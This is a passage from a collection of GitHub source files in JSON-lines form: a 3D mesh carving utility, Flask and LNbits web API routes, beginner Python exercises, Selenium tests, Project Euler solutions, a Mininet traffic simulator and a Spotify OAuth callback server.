1, 1])\n else:\n sem2sdfmask_dict = np.array([1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1])\n \n clean_mask = sem2sdfmask_dict[src_sem_mask]\n clean_mask = cv2.resize(clean_mask, (vol_size, vol_size), interpolation = cv2.INTER_NEAREST)\n \n kernel = np.ones(tuple(np.round((np.array(clean_mask.shape)*erode_ratio)).astype(np.int)),np.uint8)\n clean_mask = cv2.erode(clean_mask.astype(np.uint8), kernel, iterations = 1)\n \n clean_volume = np.stack((clean_mask,)*vol_size)\n clean_volume = np.roll(np.flip(clean_volume.transpose((2, 1, 0)), axis = 1), 1, axis = 1)\n \n sdf[clean_volume>0] = edge_dist\n return sdf\n\n\ndef norm_carve(sdf, src_sem_mask, norm_front, norm_back, conv_radius = 7, norm_size = 512, carve_sc = 0.0005):\n\n sem2cleanmask_dict = np.array([1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1])\n \n norm_front = (norm_front.astype(np.float32)-128)/128\n norm_back = (norm_back.astype(np.float32)-128)/128\n\n kernel = make_bump_kernel(conv_radius)\n\n disp_front = convolve(norm_front[:,:,0], weights=kernel[:,:,0], mode='nearest') + \\\n convolve(norm_front[:,:,1], weights=kernel[:,:,1], mode='nearest') + \\\n convolve(norm_front[:,:,2], weights=kernel[:,:,2], mode='nearest')\n disp_back = convolve(norm_back[:,:,0], weights=kernel[:,:,0], mode='nearest') + \\\n convolve(norm_back[:,:,1], weights=kernel[:,:,1], mode='nearest') + \\\n convolve(norm_back[:,:,2], weights=kernel[:,:,2], mode='nearest')\n \n clean_mask = sem2cleanmask_dict[src_sem_mask]\n clean_mask = cv2.resize(clean_mask, (norm_size, norm_size), interpolation = cv2.INTER_NEAREST)\n \n norm_mask = erosion((-clean_mask+1).astype(np.float32), footprint = disk(conv_radius))\n norm_mask = convolve(norm_mask, weights=disk(conv_radius)/np.sum(disk(conv_radius)), mode='nearest')\n \n disp_front *= norm_mask\n disp_back *= norm_mask\n \n disp_front_reisze = (disp_front[::2,::2] + disp_front[1::2,1::2])/2\n disp_cube_front = np.stack([np.flip(disp_front_reisze.T, axis = 1)]*256, axis = 2)\n sdf[:,:,128:] = sdf[:,:,128:] - disp_cube_front[:,:,128:]*carve_sc\n\n disp_back_reisze = (disp_back[::2,::2] + disp_back[1::2,1::2])/2\n disp_cube_front = np.stack([np.flip(disp_back_reisze.T, axis = 1)]*256, axis = 2)\n sdf[:,:,:128] = sdf[:,:,:128] + disp_cube_front[:,:,:128]*carve_sc\n\n return sdf\n","repo_name":"zhuhao-nju/rafare","sub_path":"engineer/utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":4337,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"61"} +{"seq_id":"39152983931","text":"from flask import Blueprint, render_template, request\n\nfrom user_login_system.models import User\n\nmain = Blueprint('main', __name__)\n\n\n# This is the home route\n@main.route('/')\n@main.route('/home')\ndef home():\n return render_template(\"home.html\")\n\n\n# This is the route to about page with all the users info i.e. non-deleted but approved and unapproved both\n@main.route('/about')\ndef about():\n page = request.args.get('page', 1, type=int)\n users = User.query.filter(User.username != 'admin').paginate(per_page=5, page=page)\n admins = User.query.filter(User.username == 'admin')\n return render_template(\"about.html\", title='About', users=users, admins=admins)\n","repo_name":"rathiinitesh/user_login_system","sub_path":"user_login_system/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15077717902","text":"from http import HTTPStatus\n\nimport httpx\nfrom fastapi import Depends, Query\nfrom lnurl import decode as decode_lnurl\nfrom loguru import logger\nfrom starlette.exceptions import HTTPException\n\nfrom lnbits.core.crud import get_latest_payments_by_extension, get_user\nfrom lnbits.core.models import Payment\nfrom lnbits.core.services import create_invoice\nfrom lnbits.core.views.api import api_payment\nfrom lnbits.decorators import (\n WalletTypeInfo,\n check_admin,\n get_key_type,\n require_admin_key,\n)\nfrom lnbits.settings import settings\nfrom lnbits.utils.exchange_rates import get_fiat_rate_satoshis\n\nfrom . import scheduled_tasks, localbitcoins_ext\nfrom .crud import create_localbitcoins, delete_localbitcoins, get_localbitcoins, get_localbitcoinss\nfrom .models import CreateLocalBitcoinsData, PayLnurlWData\n\n\n@localbitcoins_ext.get(\"/api/v1/localbitcoinss\", status_code=HTTPStatus.OK)\nasync def api_localbitcoinss(\n all_wallets: bool = Query(False), wallet: WalletTypeInfo = Depends(get_key_type)\n):\n wallet_ids = [wallet.wallet.id]\n if all_wallets:\n user = await get_user(wallet.wallet.user)\n wallet_ids = user.wallet_ids if user else []\n\n return [localbitcoins.dict() for localbitcoins in await get_localbitcoinss(wallet_ids)]\n\n\n@localbitcoins_ext.post(\"/api/v1/localbitcoinss\", status_code=HTTPStatus.CREATED)\nasync def api_localbitcoins_create(\n data: CreateLocalBitcoinsData, wallet: WalletTypeInfo = Depends(get_key_type)\n):\n localbitcoins = await create_localbitcoins(wallet_id=wallet.wallet.id, data=data)\n return localbitcoins.dict()\n\n\n@localbitcoins_ext.delete(\"/api/v1/localbitcoinss/{localbitcoins_id}\")\nasync def api_localbitcoins_delete(\n localbitcoins_id: str, wallet: WalletTypeInfo = Depends(require_admin_key)\n):\n localbitcoins = await get_localbitcoins(localbitcoins_id)\n\n if not localbitcoins:\n raise HTTPException(\n status_code=HTTPStatus.NOT_FOUND, detail=\"LocalBitcoins does not exist.\"\n )\n\n if localbitcoins.wallet != wallet.wallet.id:\n raise HTTPException(status_code=HTTPStatus.FORBIDDEN, detail=\"Not your LocalBitcoins.\")\n\n await delete_localbitcoins(localbitcoins_id)\n return \"\", HTTPStatus.NO_CONTENT\n\n\n@localbitcoins_ext.post(\"/api/v1/localbitcoinss/{localbitcoins_id}/invoices\", status_code=HTTPStatus.CREATED)\nasync def api_localbitcoins_create_invoice(\n localbitcoins_id: str, amount: int = Query(..., ge=1), memo: str = \"\", tipAmount: int = 0\n) -> dict:\n\n localbitcoins = await get_localbitcoins(localbitcoins_id)\n\n if not localbitcoins:\n raise HTTPException(\n status_code=HTTPStatus.NOT_FOUND, detail=\"LocalBitcoins does not exist.\"\n )\n\n if tipAmount > 0:\n amount += tipAmount\n\n try:\n payment_hash, payment_request = await create_invoice(\n wallet_id=localbitcoins.wallet,\n amount=amount,\n memo=f\"{memo} to {localbitcoins.name}\" if memo else f\"{localbitcoins.name}\",\n extra={\n \"tag\": \"localbitcoins\",\n \"tipAmount\": tipAmount,\n \"localbitcoinsId\": localbitcoins_id,\n \"amount\": amount - tipAmount if tipAmount else False,\n },\n )\n except Exception as e:\n raise HTTPException(status_code=HTTPStatus.INTERNAL_SERVER_ERROR, detail=str(e))\n\n return {\"payment_hash\": payment_hash, \"payment_request\": payment_request}\n\n\n@localbitcoins_ext.get(\"/api/v1/localbitcoinss/{localbitcoins_id}/invoices\")\nasync def api_localbitcoins_get_latest_invoices(localbitcoins_id: str):\n try:\n payments = [\n Payment.from_row(row)\n for row in await get_latest_payments_by_extension(\n ext_name=\"localbitcoins\", ext_id=localbitcoins_id\n )\n ]\n\n except Exception as e:\n raise HTTPException(status_code=HTTPStatus.INTERNAL_SERVER_ERROR, detail=str(e))\n\n return [\n {\n \"checking_id\": payment.checking_id,\n \"amount\": payment.amount,\n \"time\": payment.time,\n \"pending\": payment.pending,\n }\n for payment in payments\n ]\n\n\n@localbitcoins_ext.post(\n \"/api/v1/localbitcoinss/{localbitcoins_id}/invoices/{payment_request}/pay\", status_code=HTTPStatus.OK\n)\nasync def api_localbitcoins_pay_invoice(\n lnurl_data: PayLnurlWData, payment_request: str, localbitcoins_id: str\n):\n localbitcoins = await get_localbitcoins(localbitcoins_id)\n\n if not localbitcoins:\n raise HTTPException(\n status_code=HTTPStatus.NOT_FOUND, detail=\"LocalBitcoins does not exist.\"\n )\n\n lnurl = (\n lnurl_data.lnurl.replace(\"lnurlw://\", \"\")\n .replace(\"lightning://\", \"\")\n .replace(\"LIGHTNING://\", \"\")\n .replace(\"lightning:\", \"\")\n .replace(\"LIGHTNING:\", \"\")\n )\n\n if lnurl.lower().startswith(\"lnurl\"):\n lnurl = decode_lnurl(lnurl)\n else:\n lnurl = \"https://\" + lnurl\n\n async with httpx.AsyncClient() as client:\n try:\n headers = {\"user-agent\": f\"lnbits/localbitcoins commit {settings.lnbits_commit[:7]}\"}\n r = await client.get(lnurl, follow_redirects=True, headers=headers)\n if r.is_error:\n lnurl_response = {\"success\": False, \"detail\": \"Error loading\"}\n else:\n resp = r.json()\n if resp[\"tag\"] != \"withdrawRequest\":\n lnurl_response = {\"success\": False, \"detail\": \"Wrong tag type\"}\n else:\n r2 = await client.get(\n resp[\"callback\"],\n follow_redirects=True,\n headers=headers,\n params={\n \"k1\": resp[\"k1\"],\n \"pr\": payment_request,\n },\n )\n resp2 = r2.json()\n if r2.is_error:\n lnurl_response = {\n \"success\": False,\n \"detail\": \"Error loading callback\",\n }\n elif resp2[\"status\"] == \"ERROR\":\n lnurl_response = {\"success\": False, \"detail\": resp2[\"reason\"]}\n else:\n lnurl_response = {\"success\": True, \"detail\": resp2}\n except (httpx.ConnectError, httpx.RequestError):\n lnurl_response = {\"success\": False, \"detail\": \"Unexpected error occurred\"}\n\n return lnurl_response\n\n\n@localbitcoins_ext.get(\n \"/api/v1/localbitcoinss/{localbitcoins_id}/invoices/{payment_hash}\", status_code=HTTPStatus.OK\n)\nasync def api_localbitcoins_check_invoice(localbitcoins_id: str, payment_hash: str):\n localbitcoins = await get_localbitcoins(localbitcoins_id)\n if not localbitcoins:\n raise HTTPException(\n status_code=HTTPStatus.NOT_FOUND, detail=\"LocalBitcoins does not exist.\"\n )\n try:\n status = await api_payment(payment_hash)\n\n except Exception as exc:\n logger.error(exc)\n return {\"paid\": False}\n return status\n\n\n@localbitcoins_ext.delete(\n \"/api/v1\",\n status_code=HTTPStatus.OK,\n dependencies=[Depends(check_admin)],\n description=\"Stop the extension.\",\n)\nasync def api_stop():\n for t in scheduled_tasks:\n try:\n t.cancel()\n except Exception as ex:\n logger.warning(ex)\n\n return {\"success\": True}\n\n@localbitcoins_ext.get(\"/api/v1/rate/{currency}\", status_code=HTTPStatus.OK)\nasync def api_check_fiat_rate(currency):\n try:\n rate = await get_fiat_rate_satoshis(currency)\n except AssertionError:\n rate = None\n\n return {\"rate\": rate}","repo_name":"bmewj/nostr-localbitcoins","sub_path":"views_api.py","file_name":"views_api.py","file_ext":"py","file_size_in_byte":7701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33990163713","text":"#1. Поработайте с переменными, создайте несколько, выведите на экран.\n# Запросите у пользователя некоторые числа и строки и сохраните в переменные, затем выведите на экран.\n\nnumber = 1\nstroka = \"ABC\"\nprint(number)\nprint(stroka)\nnumber = input(\"введите число:\")\nstroka = input(\"введите текст:\")\nprint(f\"введенное число: {number}, введенный текст: {stroka}\")\n\n#2. Пользователь вводит время в секундах. Переведите время в часы, минуты, секунды и выведите в формате чч:мм:сс.\n# Используйте форматирование строк.\n\nt = int(input(\"введите время в секундах:\"))\nsec = t % 60\nmin = (t % 3600) // 60\nhour = t // 3600\nprint(f\"{hour}:{min}:{sec}\")\n\n#3. Узнайте у пользователя число n. Найдите сумму чисел n + nn + nnn.\n# Например, пользователь ввёл число 3.\n# Считаем 3 + 33 + 333 = 369.\n\nn = input(\"введите число n:\")\nsum = int(n) + int(f\"{n}{n}\") + int(f\"{n}{n}{n}\")\nprint(sum)\n\n#4. Пользователь вводит целое положительное число. Найдите самую большую цифру в числе.\n# Для решения используйте цикл while и арифметические операции.\n\ng = input(\"введите целое положительное число: \")\nmaxn = g[0]\ni = 0\nwhile i < len(g):\n if g[i] > maxn: maxn = g[i]\n i += 1\nprint(maxn)\n\n# 5. Запросите у пользователя значения выручки и издержек фирмы.\n# Определите, с каким финансовым результатом работает фирма. Например, прибыль — выручка больше издержек,\n# или убыток — издержки больше выручки.\n# Выведите соответствующее сообщение.\n\nv = int(input(\"введите выручку: \"))\niz = int(input(\"введите издержки: \"))\nif v > iz:\n print(\"прибыль\")\nelse:\n print(\"убыток\")\n\n# 6. Если фирма отработала с прибылью, вычислите рентабельность выручки. Это отношение прибыли к выручке.\n# Далее запросите численность сотрудников фирмы и определите прибыль фирмы в расчёте на одного сотрудника.\n\nv = int(input(\"введите выручку: \"))\niz = int(input(\"введите издержки: \"))\nif v > iz:\n print(\"прибыль\")\n print(\"рентабельность: \" + str((v - iz) / v))\n cs = int(input(\"введите количество сотрудников: \"))\n print(str((v - iz) / cs))\nelse:\n print(\"убыток\")\n\n# 7 (Дополнительно). Спортсмен занимается ежедневными пробежками. В первый день его результат составил a километров.\n# Каждый день спортсмен увеличивал результат на 10% относительно предыдущего.\n# Требуется определить номер дня, на который результат спортсмена составит не менее b километров.\n# Программа должна принимать значения параметров a и b и выводить одно натуральное число — номер дня.\n\na = int(input(\"результат а: \"))\nb = int(input(\"результат b: \"))\nkm = a\nday = 1\nwhile km < b:\n km *= 1.1\n day += 1\nprint(day)\n","repo_name":"nadejdasopilova/Python","sub_path":"lesson1.py","file_name":"lesson1.py","file_ext":"py","file_size_in_byte":3966,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71025009474","text":"from selenium.webdriver.common.by import By\nfrom selenium import webdriver\nfrom selenium.webdriver.edge.options import Options\nfrom selenium.webdriver.edge.service import Service\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom server import get_competition_club\n\n\ndef get_number(s):\n number = s.split(': ')[1]\n return int(number)\n\n\ndef book_places(competition_name, club_name, nb_of_places, status, msg):\n options = Options()\n options.add_argument(\"headless\")\n\n service = Service(verbose=True)\n driver = webdriver.Edge(service=service, options=options, )\n\n driver.get('http://127.0.0.1:5000')\n result = True\n\n try:\n competition, club = get_competition_club(competition_name, club_name)\n\n link_id = f\"id_{competition['name'].replace(' ', '_')}\"\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"booking_manager\"))\n element.click()\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"email\"))\n element.send_keys(club['email'])\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"show_summary\"))\n element.click()\n\n id_number_of_places = f\"id_{competition['name'].replace(' ', '_')}_numberOfPlaces\"\n id_booked = f\"id_{competition['name'].replace(' ', '_')}_booked\"\n\n points_available_before = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"id_points\")).text\n number_of_places_before = WebDriverWait(driver, 10).until(\n lambda x: x.find_element(By.ID, id_number_of_places)).text\n booked_before = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, id_booked)).text\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, link_id))\n element.click()\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"places\"))\n element.send_keys(nb_of_places)\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"booking\"))\n element.click()\n\n points_available_after = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"id_points\")).text\n number_of_places_after = WebDriverWait(driver, 10).until(\n lambda x: x.find_element(By.ID, id_number_of_places)).text\n booked_after = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, id_booked)).text\n status_msg = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, status)).text\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"logout\"))\n element.click()\n\n driver.quit()\n\n if status_msg == 'Success : Booking complete!':\n assert get_number(points_available_after) == get_number(points_available_before) - (3 * int(nb_of_places))\n assert get_number(number_of_places_after) == get_number(number_of_places_before) - int(nb_of_places)\n assert get_number(booked_after) == get_number(booked_before) + int(nb_of_places)\n elif status_msg == msg:\n assert get_number(points_available_after) == get_number(points_available_before)\n assert get_number(number_of_places_after) == get_number(number_of_places_before)\n assert get_number(booked_after) == get_number(booked_before)\n else:\n result = False\n\n return result\n\n except Exception as e:\n print(e)\n return False\n\n\ndef test_normal_booking_1st_club():\n result = book_places('Spring Festival', 'Simply Lift', '1', 'success', 'Success : Booking complete!')\n assert result\n\n\ndef test_normal_booking_2nd_club():\n result = book_places('Spring Festival', 'Iron Temple', '1', 'success', 'Success : Booking complete!')\n assert result\n\n\ndef test_wrong_booking_more_than_12_places():\n result = book_places('Spring Festival', 'Simply Lift', '12', 'error',\n 'Error : No more than 12 places can be purchased.')\n assert result\n\n\ndef test_wrong_booking_negative_number_of_places():\n result = book_places('Spring Festival', 'Simply Lift', '-10', 'error',\n 'Error : Required number of places should be at least 1')\n assert result\n\n\ndef test_normal_booking_2_places():\n result = book_places('Fall Classic', 'Simply Lift', '2', 'success', 'Success : Booking complete!')\n assert result\n\n\ndef test_exception_wrong_msg():\n result = book_places('Fall Classic', 'Simply Lift', '-1', 'error', 'error : Wrong message')\n assert not result\n\n\ndef test_exception_unknown_competition():\n result = book_places('Dummy Festival', 'Dumb club', '', 'error',\n 'list index out of range')\n assert not result\n","repo_name":"jsoques1/Python_Testing","sub_path":"tests/functional/test_gudflt_with_selenium.py","file_name":"test_gudflt_with_selenium.py","file_ext":"py","file_size_in_byte":4751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33491365019","text":"from timeit import default_timer # Timer to keep track of runtime for each function\n\n\n# ===========================================================\n# PROBLEM 1 -- Multiples of 3 and 5\n# ===========================================================\n#\n# If we list all the natural numbers below 10 that are\n# multiples of 3 or 5, we get 3, 5, 6, and 9. The sum of\n# these multiples is 23.\n#\n# Find the sum of all multiples of 3 or 5 below 1000\n#\n# ===========================================================\n\n# Method A: 1000 iterations\n# Description:\n# iterate through all integers 0-999, and add it to the sum\n# if it is divisible by three or five\n# Note:\n# Only calculation is timed, not result output\ndef problem_1_method_a( maximum=1000 ):\n # Print Problem Context\n print( \"Project Euler Problem 1 -- Method 1 (1000 Iterations)\" )\n\n # Prepare Variables\n start_time = default_timer( ) # Timer Start\n result = 0 # Result\n\n # Iterate\n for x in range( maximum ):\n # Conditions: 3 or 5 evenly divide the number\n if x % 3 is 0 or x % 5 is 0:\n result += x\n\n # Compute Runtime\n end_time = default_timer( ) # Timer End\n execution_time = ( end_time - start_time ) * 1000 # Total Execution Time\n\n # Output the Result and the Time to calculate result\n print( \" Sum of all multiples of 3 or 5 below 1000: %d\" % result )\n print( \" Calculation Time: %.3fms\\n\" % execution_time )\n return\n\n\n\n# Method B: 598 iterations\n# Description:\n# 1. iterate through all multiples of 3 <1000 and add to result\n# 2. iterate through all multiples of 5 <1000 and add to result\n# 3. the LCM of 3 and 5 is 15, so exclude multiples of 15 in\n# step 2 (to prevent double-counting those values)\n# Note:\n# Only calculation is timed, not result output\ndef problem_1_method_b( maximum=1000 ):\n # Print Problem Context (unnecessary)\n print( \"Project Euler Problem 1 -- Method 2 (598 Iterations)\" )\n\n # Prepare Variables\n start_time = default_timer( )\n result = 0\n\n # Sum the multiples of 3\n for x in range( 3 , maximum , 3 ):\n result += x\n\n # Sum the multiples of 5\n for x in range( 5 , maximum , 5 ):\n # Exclude the LCM (already appeared in multiples of 3)\n if x % 15 == 0:\n continue\n result += x\n\n # Compute Runtime\n end_time = default_timer( ) # Timer End\n execution_time = ( end_time - start_time ) * 1000 # Total Execution Time\n\n # Output the Result and the Time to calculate result\n print( \" Sum of all multiples of 3 or 5 below 1000: %d\" % result )\n print( \" Calculation Time: %.3fms\\n\" % execution_time )\n return\n\n\n\n# Use of generator instead of looping\ndef problem_1_method_c( maximum=1000 ):\n # Print Problem Context (unnecessary)\n print(\"Project Euler Problem 1 -- Method 3 (Generator Function)\")\n\n # Prepare Variables\n start_time = default_timer( )\n result = sum( [ x for x in range( 1 , maximum )\n if x % 3 == 0\n or x % 5 == 0 ] )\n\n # Compute Runtime\n end_time = default_timer( ) # Timer End\n execution_time = ( end_time - start_time ) * 1000 # Total Execution Time\n\n print( \" Sum of all multiples of 3 or 5 below 1000: %d\" % result )\n print( \" Calculation Time: %.3fms\\n\" % execution_time )\n return\n\n\n\ndef main( ):\n problem_1_method_a( )\n problem_1_method_b( )\n problem_1_method_c( )\n\n\n\nif __name__ == '__main__':\n main( )\n","repo_name":"drake-young/Euler1_Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42693018487","text":"#!/usr/bin/env python3\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom http.client import HTTPConnection\nfrom multiprocessing import Process, Manager\n\nimport argparse\nimport logging\nimport os\nimport queue\nimport random\nimport sys\nimport threading\nimport time\n\nfrom parse_input import parse_inits, path_to_map\n\n\nhost_num = 0\nposted = 0\nspamed = 0\nq = queue.Queue()\n\n#def get_handler(paths, h):\nclass MyHandler(BaseHTTPRequestHandler):\n global host_num\n host_num = host_num\n\n #def get_paths(self):\n # return paths\n\n def do_GET(self):\n global host_num\n print(\"GET\")\n self.send_response(200)\n self.send_header('Content-type', 'text-html')\n self.send_header(\"host\", str(host_num))\n self.end_headers()\n\n def do_POST(self):\n global host_num\n #paths = self.get_paths()\n self.send_response(200)\n self.end_headers()\n content_len = int(self.headers.get('Content-Length'))\n post_body = self.rfile.read(content_len)\n #logging.info(\"in POST: %s\", post_body)\n self.wfile.write(\"ok {}\".format(post_body).encode('utf-8'))\n\n str_path = self.headers[\"path\"]\n path = path_to_map(str_path)[0]\n #print(path)\n #random.shuffle(paths)\n #path = paths[flow_id]\n dst = 0\n for k in path:\n sr, me = k.split(\"/\")\n if sr == self.headers[\"src\"] and me == str(host_num):\n dst = path[k]\n break\n\n logging.debug(\"host_num=%d, dst=%d\", host_num, dst)\n if host_num==dst or dst == 0:\n return\n q.put({\"body\": post_body, \"dst\": dst, \"path\": str_path})\n\n\ndef post_mes(dst, host_num, body, path):\n logging.debug(\"about to start connection 10.0.0.{}\".format(dst))\n conn = HTTPConnection(\"10.0.0.{}\".format(dst), 8000)\n #conn.set_debuglevel(1)\n logging.debug(\"posting to 10.0.0.{}\".format(dst))\n logging.debug(\"host_num=%d, dst=%d\", host_num, dst)\n logging.debug(path)\n conn.request(\"POST\", \"\", body=body, headers={\"src\": host_num, \"dst\": dst, \"path\": path})\n response = conn.getresponse()\n logging.debug(\"STATUS: %s, REASON: %s\", response.status, response.reason)\n logging.debug(\"about to CLOSE connection 10.0.0.{}\".format(dst))\n conn.close()\n\n\ndef map_to_path(path, src, dst):\n str_path = ''\n key = str(src) + \"/\" + str(dst)\n start_key = key\n str_path = key\n while key in path:\n src = dst\n dst = path[key]\n str_path += \"/\" + str(dst)\n key = str(src) + \"/\" + str(dst)\n if key == start_key:\n break\n return str_path\n\n\ndef get_dst(path, src):\n for key in path.keys():\n f, s = key.split(\"/\")\n if int(f) == src:\n return int(s)\n return 0\n\n\ndef spam(dst, tickrate, start, lifetime, flow_id, paths, cv):\n global host_num, spamed\n cv.acquire()\n cv.wait(start)\n cv.release()\n start_time = time.time()\n #print(\"DEBUG\", dst, paths[flow_id], paths, flow_id)\n if paths[flow_id] != {} and str(host_num) + '/' + str(dst) not in paths[flow_id]:\n dst = get_dst(paths[flow_id], host_num)\n #print(\"DEBUG\", dst, paths[flow_id])\n path = map_to_path(paths[flow_id], host_num, dst)\n while True:\n try:\n #print(paths, flow_id)\n post_mes(dst, host_num, \"test\"*1024*1024, path)\n spamed += 1\n cur_time = time.time()\n logging.debug(\"%s %d %d %d\" % (path, lifetime, start_time, cur_time))\n if cur_time - start_time >= lifetime:\n logging.info(\"%d - %d: stopped\" % (host_num, dst))\n return\n except:\n logging.error(\"err src %d dst %d path %s: %s\", host_num, dst, path, sys.exc_info())\n cv.acquire()\n cv.wait(tickrate)\n cv.release()\n\n\ndef poster():\n global host_num, posted\n while True:\n post = q.get()\n try:\n post_mes(post[\"dst\"], host_num, post[\"body\"], post[\"path\"])\n q.task_done()\n posted += 1\n except:\n logging.error(\"err: %s\", sys.exc_info())\n q.task_done()\n\n\ndef get_my_addr():\n stream = os.popen(\"ifconfig | grep -o -e '10\\.0\\.0\\.[0-9]*'\")\n res = stream.read()\n if res == '':\n return '0'\n return res\n\n\ndef get_path_init(flows):\n paths = list()\n inits = dict()\n i = 0\n for flow in flows:\n path_with_start, tickrate, start, lifetime = flow[0], flow[1], flow[2], flow[3]\n paths.append(path_with_start[0])\n if path_with_start[1][0] not in inits:\n inits[path_with_start[1][0]] = list()\n inits[path_with_start[1][0]].append((path_with_start[1][1], tickrate, start, lifetime, i))\n i += 1\n return paths, inits\n\n\ndef fill_custom_paths_once(paths, flow_table='flow_table'):\n res = list()\n with open(flow_table, \"r\") as f:\n i = 0\n for line in f:\n new_path = path_to_map(line)[0]\n logging.debug(new_path)\n map_path = paths[i]\n for key, val in new_path.items():\n map_path[key] = val\n res.append(map_path)\n i += 1\n if len(res) > 0:\n paths = res\n\ndef fill_custom_paths(paths, cv, flow_table='flow_table'):\n while True:\n cv.acquire()\n cv.wait(15)\n cv.release()\n fill_custom_paths_once(paths, flow_table)\n\n\ndef unpack(init, paths, cv):\n return (init[0], init[1], init[2], init[3], init[4], paths, cv)\n\n\ndef run(server_class=HTTPServer, handler_class=MyHandler, flows_path=\"flows\", use_path_alg=False):\n global host_num, posted, spamed\n host_num = int(get_my_addr().split('.')[-1])\n logging.debug(\"%s\", get_my_addr())\n paths, inits = get_path_init(parse_inits(flows_path))\n lock = threading.Lock()\n cv = threading.Condition(lock)\n #TODO: move this part to thread?\n if use_path_alg:\n fill_custom_paths_once(paths)\n threading.Thread(target=fill_custom_paths, daemon=True, args=(paths, cv)).start()\n #paths = fill_custom_paths(paths)\n if host_num in inits:\n logging.info(\"INITIATOR\")\n for init in inits[host_num]:\n p = threading.Thread(target=spam, daemon=True, args=unpack(init, paths, cv))\n p.start()\n server_address = ('', 8000)\n httpd = server_class(server_address, handler_class)\n threading.Thread(target=poster, daemon=True).start()\n logging.info(\"RUNNING\")\n httpd.serve_forever()\n logging.info(\"in\", posted, \"out\", spamed)\n q.join()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='http server doing something.')\n parser.add_argument(\"--flows\", default=\"flows\", help=\"Flows with path and tickrate, file without extension.\")\n parser.add_argument(\"--use_path_alg\", default=False, action='store_true', help=\"Use path algorithm (dijkstra).\")\n parser.add_argument(\"--log-level\", default=logging.INFO, type=lambda x: getattr(logging, x), help=\"Configure the logging level.\")\n args = parser.parse_args()\n logging.basicConfig(level=args.log_level)\n\n run(flows_path=args.flows, use_path_alg=args.use_path_alg)\n","repo_name":"UnluckyAF/sdn-mininet","sub_path":"hard_topo/http_serv.py","file_name":"http_serv.py","file_ext":"py","file_size_in_byte":7148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7384527717","text":"from http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\n\nclass PyLocalServerHandler(BaseHTTPRequestHandler):\n\n def do_GET(self):\n u = urlparse(self.path)\n params = parse_qs(u.query)\n if \"code\" in params:\n self.server.setCode(params[\"code\"][0])\n if \"state\" in params:\n self.server.setState(params[\"state\"][0])\n\n error = None\n errorDescription = \"\"\n if \"error\" in params:\n error = params[\"error\"]\n if error == None or error == \"\" or error == []:\n self.GotCode = True\n else:\n self.GotCode = False\n if \"error_description\" in params:\n errorDescription = params[\"error_description\"]\n\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.end_headers()\n self.wfile.write(bytes(\"SpotifyTeamsSync Authentication\", \"utf-8\"))\n self.wfile.write(bytes(\"\", \"utf-8\"))\n if error != \"\":\n self.wfile.write(bytes(f\"

Error: {error}

{errorDescription}

\", \"utf-8\")) \n self.wfile.write(bytes(\"

This browser/tab maybe closed.

\", \"utf-8\"))\n self.wfile.write(bytes(\"\", \"utf-8\"))\n\nclass PyLocalServer(HTTPServer):\n code = ''\n gotCode = False\n _hostName = \"localhost\"\n _serverPort = 8443\n _redirectUrl = f\"http://{_hostName}:{_serverPort}/callback\"\n\n def __init__(self, handlerClass = PyLocalServerHandler):\n super().__init__((self._hostName, self._serverPort), handlerClass)\n\n def getRedirectUrl(self):\n return self._redirectUrl\n\n def setCode(self, value):\n self.code = value\n self.gotCode = True\n\n def getCode(self) -> str:\n return self.code\n \n def hasCode(self) -> bool:\n return self.gotCode\n\n def setState(self, value: str):\n self.state = value\n \n def getState(self) -> str:\n return self.state\n \ndef runServer(srv):\n try:\n srv.handle_request()\n except KeyboardInterrupt:\n pass\n \n srv.server_close()","repo_name":"jurek333/SpotifyTeamsSync","sub_path":"ApiClients/local_server.py","file_name":"local_server.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6911614893","text":"size = 20\nmemorization = []\nfor i in range(0, size+1):\n memorization.append([])\n for j in range(0, size+1):\n memorization[i].append(-1)\n\ndef move(R, D, Rm, Dm):\n routes = 0\n if(memorization[D][R] != -1):\n return memorization[D][R]\n else:\n if(R < Rm):\n routes = routes + move(R+1, D, Rm, Dm)\n if(D < Dm):\n routes = routes + move(R, D+1, Rm, Dm)\n if(R == Rm and D == Dm):\n routes = routes + 1\n memorization[D][R] = routes\n return routes\n\nprint(\"Working...\")\nprint(move(0, 0, size, 